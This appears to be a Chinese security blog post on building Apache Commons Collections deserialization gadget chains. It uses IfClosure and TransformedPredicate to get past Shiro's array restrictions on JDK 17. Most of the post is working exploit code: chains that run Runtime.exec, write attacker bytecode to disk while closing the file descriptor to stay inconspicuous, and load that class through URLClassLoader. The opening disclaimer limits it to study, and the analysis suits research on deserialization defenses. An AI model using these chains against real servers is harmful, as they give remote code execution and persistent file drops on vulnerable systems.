本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏。
Closure和Predicate
CC反序列化常见的打法有两种:
- 通过ChainedTransformer链式调用
Runtime的exec方法。 - 直接调用
TemplatesImpl加载字节码,这样不需要链式调用 
ClosureTransformer类可以调用Closure,其transform方法代码如下:
public Object transform(Object input) {
    iClosure.execute(input);
    return input;
}
可以调用任意Closure类的execute方法。
IfClosure类的execute方法代码如下:
public void execute(Object input) {
    if (iPredicate.evaluate(input) == true) {
        iTrueClosure.execute(input);
    } else {
        iFalseClosure.execute(input);
    }
}
会调用任意Predicate类的evaluate方法,且参数可控。
TransformedPredicate是Predicate接口的一个实现类,其evaluate方法可以链式调用:
public boolean evaluate(Object object) {
    Object result = iTransformer.transform(object);
    return iPredicate.evaluate(result);
}
当前iTransformer的transform方法执行后会将结果作为参数传递给下一个Predicate。将多个TransformedPredicate串起来即可实现链式调用,可以替代ChainedTransformer
命令执行
在Shiro反序列化漏洞中,由于使用特殊的ClassResolvingObjectInputStream类来加载类,会有一些限制:如果反序列化流中包含非 Java 自身的数组(非String[], byte[]等),则会出现无法加载类的错误。
常见的绕过方式为:
- 让
InvokerTransformer直接调用TemplatesImpl的newTransformer方法,不使用Transformer数组,jdk高版本不能使用。 - 使用RMI二次反序列化,需要出网。
 
但使用Predicate不会受到数组限制,因为Predicate是通过一个个引用实现链式调用的。
执行Runtime#exec的POC:
Predicate predicate4 = new TransformedPredicate(
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        null
);
Predicate predicate3 = new TransformedPredicate(
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
        predicate4
);
Predicate predicate2 = new TransformedPredicate(
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
        predicate3
);
Predicate predicate1 = new TransformedPredicate(
        new ConstantTransformer(Runtime.class),
        predicate2
);
final Closure closure = new IfClosure(predicate1, null, null);
final Transformer transformer = new ClosureTransformer(closure);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
HashMap innimpl = (HashMap) getFieldValue(map, "map");
if (innimpl == null){
    innimpl = (HashMap) getFieldValue(map, "backingMap");
}
Object[] array = (Object[]) getFieldValue(innimpl, "table");
if (array == null){
    array = (Object[]) getFieldValue(innimpl, "elementData");
}
Object node = array[0];
if(node == null){
    node = array[1];
}
Field keyField = null;
try{
    keyField = node.getClass().getDeclaredField("key");
} catch(Exception e) {
    keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
System.out.println(ser(map));
高版本加载字节码
JDK 17.0.10
CC 3.2.1
对于低版本来说,直接用InstantiateTransformer和TrAXFilter触发TemplatesImpl的newTransformer方法即可,但对于jdk17+来说,用TemplatesImpl会受到module限制,而默认js引擎已经被移除了,但还可以用URLClassLoader,不过会有文件落地或者网络连接。
FileOutputStream fileOutputStream = new FileOutputStream("/uploadpath/Test.class");
fileOutputStream.write(new byte[]{1,2,3});
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///uploadpath/")});
Class calc = urlClassLoader.loadClass("Test");
calc.newInstance();
写文件
POC:
Class InstantiateTransformerClass = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
Constructor InstantiateTransformerCon = InstantiateTransformerClass.getDeclaredConstructor(new Class[]{Class[].class, Object[].class});
InstantiateTransformerCon.setAccessible(true);
Predicate predicate3 = new TransformedPredicate(
        new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{code}),
        null
);
Predicate predicate2 = new TransformedPredicate(
        (Transformer) InstantiateTransformerCon.newInstance(new Class[]{String.class}, new Object[]{"/uploadpath/Test.class"}),
        predicate3
);
Predicate predicate1 = new TransformedPredicate(
        new ConstantTransformer(FileOutputStream.class),
        predicate2
);
上面的POC没有执行close方法,虽然后续可以正常加载字节码,但在windows系统上没办法删除,在Linux上也留着fd,不够隐蔽。
如果要执行close方法的话执行流程就不是纯线性的了,不过好在IfClosure支持对同一个对象执行多条分支Closure
public void execute(Object input) {
    if (iPredicate.evaluate(input) == true) {
        iTrueClosure.execute(input);
    } else {
        iFalseClosure.execute(input);
    }
}
可以先通过InstantiateTransformer获得一个FileOutputStream对象赋值为input变量,然后进入IfClosure通过TransformedPredicate的evaluate执行write方法,最后进入else分支通过iFalseClosure执行close方法。流程图如下:

if表达式里的iPredicate对应predicate_main
POC:
Class InstantiateTransformerClass = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
Constructor InstantiateTransformerCon = InstantiateTransformerClass.getDeclaredConstructor(new Class[]{Class[].class, Object[].class});
InstantiateTransformerCon.setAccessible(true);
Predicate predicate_main = new TransformedPredicate(
        new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{code}),
        FalsePredicate.getInstance()
);
Closure branch_false_closure = new IfClosure(
        new TransformedPredicate(
                new InvokerTransformer("close", new Class[]{}, new Object[]{}), null
        ), null, null
);
Predicate predicate3 = new TransformedPredicate(
        new ClosureTransformer(new IfClosure(predicate_main, null, branch_false_closure)),
        FalsePredicate.getInstance()
);
Predicate predicate2 = new TransformedPredicate(
        (Transformer) InstantiateTransformerCon.newInstance(new Class[]{String.class}, new Object[]{"/uploadpath/Test.class"}),
        predicate3
);
Predicate predicate1 = new TransformedPredicate(
        new ConstantTransformer(FileOutputStream.class),
        predicate2
);
本来想试试用FileOutputStream指定append参数为true,这样可以文件追加,但解析boolean类时会进入Shiro的ClassResolvingObjectInputStream类自定义的resolveClass方法,用的是ClassUtils#forName方法。

然后会报错找不到这个类,跟上面说的无法解析非Java数组应该是类似的原因。

而原生的resolveClass方法代码有一个专门的map存放这些类:

所以int.class,boolean.class等都不能反序列化,这种情况下就没办法追加写入了。
加载类
Class InstantiateTransformerClass = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
Constructor InstantiateTransformerCon = InstantiateTransformerClass.getDeclaredConstructor(new Class[]{Class[].class, Object[].class});
InstantiateTransformerCon.setAccessible(true);
Predicate predicate4 = new TransformedPredicate(
        new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}),
        null
);
Predicate predicate3 = new TransformedPredicate(
        new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"Test"}),
        predicate4
);
Predicate predicate2 = new TransformedPredicate(
        (Transformer) InstantiateTransformerCon.newInstance(new Class[]{URL[].class}, new Object[]{new URL[]{new URL("file:///uploadpath/")}}),
        predicate3
);
Predicate predicate1 = new TransformedPredicate(
        new ConstantTransformer(URLClassLoader.class),
        predicate2
);
通过不同的Closure配合可以执行复杂的操作,但这个方法有一个缺点,那就是参数不能变,InvokeTransformer和InstantiateTransformer中的iArgs都是提前设置的,所以像defineClass这种需要把ClassLoader对象作为参数的方法就不能执行了。